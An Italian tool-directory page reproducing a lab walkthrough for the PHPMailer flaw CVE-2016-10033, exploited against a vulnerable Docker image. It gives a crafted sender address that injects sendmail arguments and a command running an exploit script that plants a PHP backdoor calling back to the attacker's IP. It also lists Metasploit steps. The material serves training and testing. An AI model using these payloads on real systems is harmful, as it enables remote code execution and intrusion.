Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2016-10033 — Prova di concetto per la CVE-2016-10033 (PHPMailer) | Kitploit
Strumenti/GitHubGitHub/astrowmist/poc-cve-2016-10033
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Prova di concetto per la CVE-2016-10033 (PHPMailer)

Vedi Repository
62 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

POC-CVE-2016-10033

Prima di tutto, avviamo l'applicazione vulnerabile

Passo 1: Esegui il seguente comando per recuperare l'immagine Docker vulnerabile dal repository Docker.

Comando: docker pull vulnerables/cve-2016-10033

alt text

Passo 2: Esegui l'immagine Docker in Docker Desktop, esponendo la porta 8080.

alt text

Ora puoi accedere al sito web vulnerabile all'indirizzo localhost:8080 nel browser web.

alt text

Metodo 1: tramite pagina web

Passo 1: Compila il modulo con i seguenti input:

Input Nome: OSEC (può essere una stringa qualsiasi, questo non influisce sull'exploit)
Email Mittente Crafted: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

Il funzionamento di questa email mittente craftata è spiegato in dettaglio nella sezione descrizione del vettore d'attacco. Per quanto riguarda i parametri specifici, il secondo parametro -oQ/tmp specifica la directory della coda e il terzo parametro, -X/www/pwn.html specifica la posizione del file di log da scrivere. Se la directory della coda non viene specificata, il processo sendmail tenterebbe di accedere alla directory predefinita della coda di posta (/var/spool/mqueue-client/) che sarebbe protetta per impedire accessi e manomissioni non autorizzati, una misura di sicurezza comune. Per evitare questo problema di permessi, devi specificare una directory della coda in cui l'utente che esegue lo script PHP ha permessi di scrittura. Comunemente, viene utilizzata una directory come /tmp perché è tipicamente scrivibile da tutti gli utenti. Se il corpo dell'email contiene codice PHP e se il file di log specificato viene posizionato in una directory accessibile dal web, l'attaccante può eseguire il codice PHP accedendo al file di log tramite un browser web, ottenendo così l'esecuzione remota del codice.

Input Messaggio: Questo è solo un esempio di file html che un attaccante potrebbe caricare. Ovviamente, l'attaccante potrebbe caricare qualcosa di molto peggiore come una backdoor, cosa che faremo nel prossimo metodo di sfruttamento

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Passo 2: Dopo aver inviato il modulo, naviga al file html che abbiamo appena caricato all'indirizzo http://localhost:8080/pwn.html

alt text

Metodo 2: tramite riga di comando (script di exploit)

Requisiti: Questo script è compatibile solo con Python 2 (non funziona con Python 3).

Passo 1: Scarica lo script di exploit all'indirizzo https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py

Passo 2: Quindi esegui lo script con i seguenti argomenti:

Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> specifica l'URL del target
-cf -> specifica la posizione del modulo di contatto all'interno dell'URL specificato in -url. (Nel nostro caso è esattamente lo stesso di -url, quindi abbiamo incluso solo una barra)
-ip -> specifica l'IP dell'attaccante per la connessione di ritorno della backdoor
-d -> specifica la directory relativa per caricare il file php della backdoor
--post-action -> L'attributo name del campo nascosto
--post-msg -> L'attributo name del campo di input del messaggio

alt text Nota: Il motivo per cui dobbiamo specificare --post-action come "submit" e --post-msg come "message" è che nell'applicazione vulnerabile che stiamo utilizzando l'attributo name è diverso dai valori predefiniti usati nello script Python di exploit

Gli attributi name nell'applicazione vulnerabile:

alt text

Gli attributi name predefiniti specificati nello script: alt text

Passo 3: Dopo aver eseguito il comando, tuttavia abbiamo ricevuto un errore mostrato di seguito

alt text
Nell'immagine sopra puoi vedere che il programma sta cercando di accedere a http://127.0.0.1:8080//www/phpbackdoor9284.php che è ovviamente sbagliato a causa di //www. Questo non funzionerà perché in questo sito web vulnerabile /www è la radice del sito, quindi non puoi navigare verso http://127.0.0.1:8080/www poiché http://127.0.0.1:8080 è già su /www.

Anche nell'immagine sottostante possiamo vedere che l'exploit ha effettivamente funzionato perché phpbackdoor9284.php è stato creato con successo nella directory. Quindi l'unico problema era come rimuovere quel //www dall'URL.
alt text

Dopo un'ispezione più approfondita dello script Python, siamo riusciti a localizzare la variabile BACKDOOR_URL che specifica l'URL del file php della backdoor. Nella variabile possiamo vedere che la directory target che abbiamo specificato (args.TARGET_UP_DIR) viene concatenata insieme alla variabile BACKDOOR_FILE. Per risolvere il problema, dobbiamo rimuovere quella e la barra aggiuntiva.

Prima:
alt text

Dopo:
alt text

**Nota che lo script in questo repository è già modificato e pronto per l'uso

Passo 4: Ora esegui di nuovo il comando precedente, e questa volta la backdoor dovrebbe essere stata caricata con successo nella directory radice del web e dovrebbe essersi connessa di nuovo al mio Kali.

alt text

Metodo 3: Metasploit

Passo 1: Digita msfconsole nel terminale di Kali per aprire Metasploit. Quindi cerca i moduli Metasploit per CVE-2016-10033. Quindi scegli il modulo selezionando l'indice associato. Nello screenshot qui sotto abbiamo scelto 1 che ha come target PHPMailer < 5.2.18.

Comandi:
msfconsole
search CVE-2016-10033
use 1
alt text

Scarica lo strumento